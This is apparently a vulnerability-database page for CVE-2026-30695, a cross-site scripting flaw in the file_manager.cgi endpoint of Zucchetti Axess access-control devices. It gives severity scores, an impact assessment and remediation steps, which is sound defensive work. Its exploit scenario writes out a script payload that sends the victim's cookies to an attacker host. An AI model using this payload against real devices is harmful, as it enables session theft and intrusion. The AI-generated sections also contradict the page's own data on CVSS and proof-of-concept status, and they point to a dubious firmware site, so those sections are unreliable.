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N A CVE-2026-30695

| EUVDEUVD-2026-12870 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-18 mitre
6.1
CVSS 3.1 · Vendor: mitre
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Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

Assessment of real-world risk is constrained by the absence of CVSS score, CVSS vector, EPSS probability data, and explicit KEV (Known Exploited Vulnerabilities) status. However, several factors indicate elevated practical risk: (1) the vulnerability affects network-accessible web interfaces on physical access control devices, which are typically high-value targets; (2) a public proof-of-concept exists on GitHub, lowering the barrier to exploitation; (3) XSS in admin interfaces can lead to account compromise and unauthorized access policy changes; (4) the affected products span multiple Zucchetti Axess device lines, suggesting wide deployment. Conversely, exploitation likely requires the attacker to deliver a malicious link to an authenticated administrator, suggesting medium attack complexity and requiring prior knowledge of the target system. Without CVSS severity data, this appears to be a high-impact but moderately complex vulnerability with real-world exploitation potential evidenced by the public POC.

Exploit ScenarioDerived

An attacker identifies a Zucchetti Axess device deployed at a target facility and crafts a malicious URL containing XSS payload in the dirBrowse parameter (e.g., /file_manager.cgi?dirBrowse=<script>fetch('http://attacker.com/steal?cookies='+document.cookie)</script>). The attacker sends this link to a facility administrator via spear-phishing email, claiming it references a file on the access control system. When the administrator clicks the link while authenticated to the web interface, the JavaScript executes in their browser session, allowing the attacker to steal session cookies, modify access policies, create backdoor administrator accounts, or extract credential information from the device configuration. The public GitHub POC lowers the technical barrier for less sophisticated attackers to execute this attack.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 18, 2026

A Cross-Site Scripting (XSS) vulnerability exists in the web-based configuration interface of Zucchetti Axess physical access control devices across multiple product lines (XA4, X3/X3BIO, X4, X7, and XIO/i-door/i-door+). The vulnerability stems from improper sanitization of the dirBrowse parameter in the /file_manager.cgi endpoint, allowing attackers to inject malicious scripts that execute in the context of authenticated administrators. A public proof-of-concept has been disclosed on GitHub (https://github.com/iremnurylmz/CVE-2026-30695), and given the lack of CVSS/EPSS scoring data and KEV status confirmation, the true exploitation likelihood remains uncertain but the presence of a POC elevates practical risk.

RemediationAI

Immediately contact Zucchetti for patch availability and upgrade guidance; check http://zucchetti.com and http://firmware.com for firmware updates applicable to your specific device model and version. Until patches are applied, implement compensating controls: restrict web-based management interface access to trusted administrator IP ranges using network-level access controls; require HTTPS with HSTS headers to prevent protocol downgrade; disable or limit the /file_manager.cgi endpoint if not actively used; enable administrative account lockout policies; and conduct security awareness training to reduce the likelihood that administrators will click on malicious links. Monitor access logs for suspicious dirBrowse parameter values containing script tags or encoded JavaScript.

Affected VersionsENISA

n/a n/a

Affects your stack

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Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the web-based management interface of Zucchetti Axess access control systems, which are embedded web applications running on dedicated hardware devices used for physical security. The root cause is a CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-Site Scripting) flaw in the /file_manager.cgi endpoint, specifically in how the dirBrowse parameter is processed without adequate input validation or output encoding. Attackers can exploit this by crafting malicious URLs or form submissions containing JavaScript payloads that, when processed by the application, are reflected back to the user's browser without sanitization. This class of vulnerability is particularly dangerous in access control systems because administrative interfaces typically have elevated privileges, making XSS payloads capable of modifying user credentials, extracting audit logs, or reconfiguring access policies.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (mitre) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from Vendor (mitre) · only source for this CVE.

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
CVSS changed
Apr 27, 2026 - 19:22 NVD
6.1 (MEDIUM)
CVE Published
Mar 18, 2026 - 00:00 nvd
N/A

DescriptionCVE.org

A Cross-Site Scripting (XSS) vulnerability exists in the web-based configuration interface of Zucchetti Axess access control devices, including XA4, X3/X3BIO, X4, X7, and XIO / i-door / i-door+. The vulnerability is caused by improper sanitization of user-supplied input in the dirBrowse parameter of the /file_manager.cgi endpoint.

Threat Intelligence Overview

EPSS Score
0.0%
Top 96% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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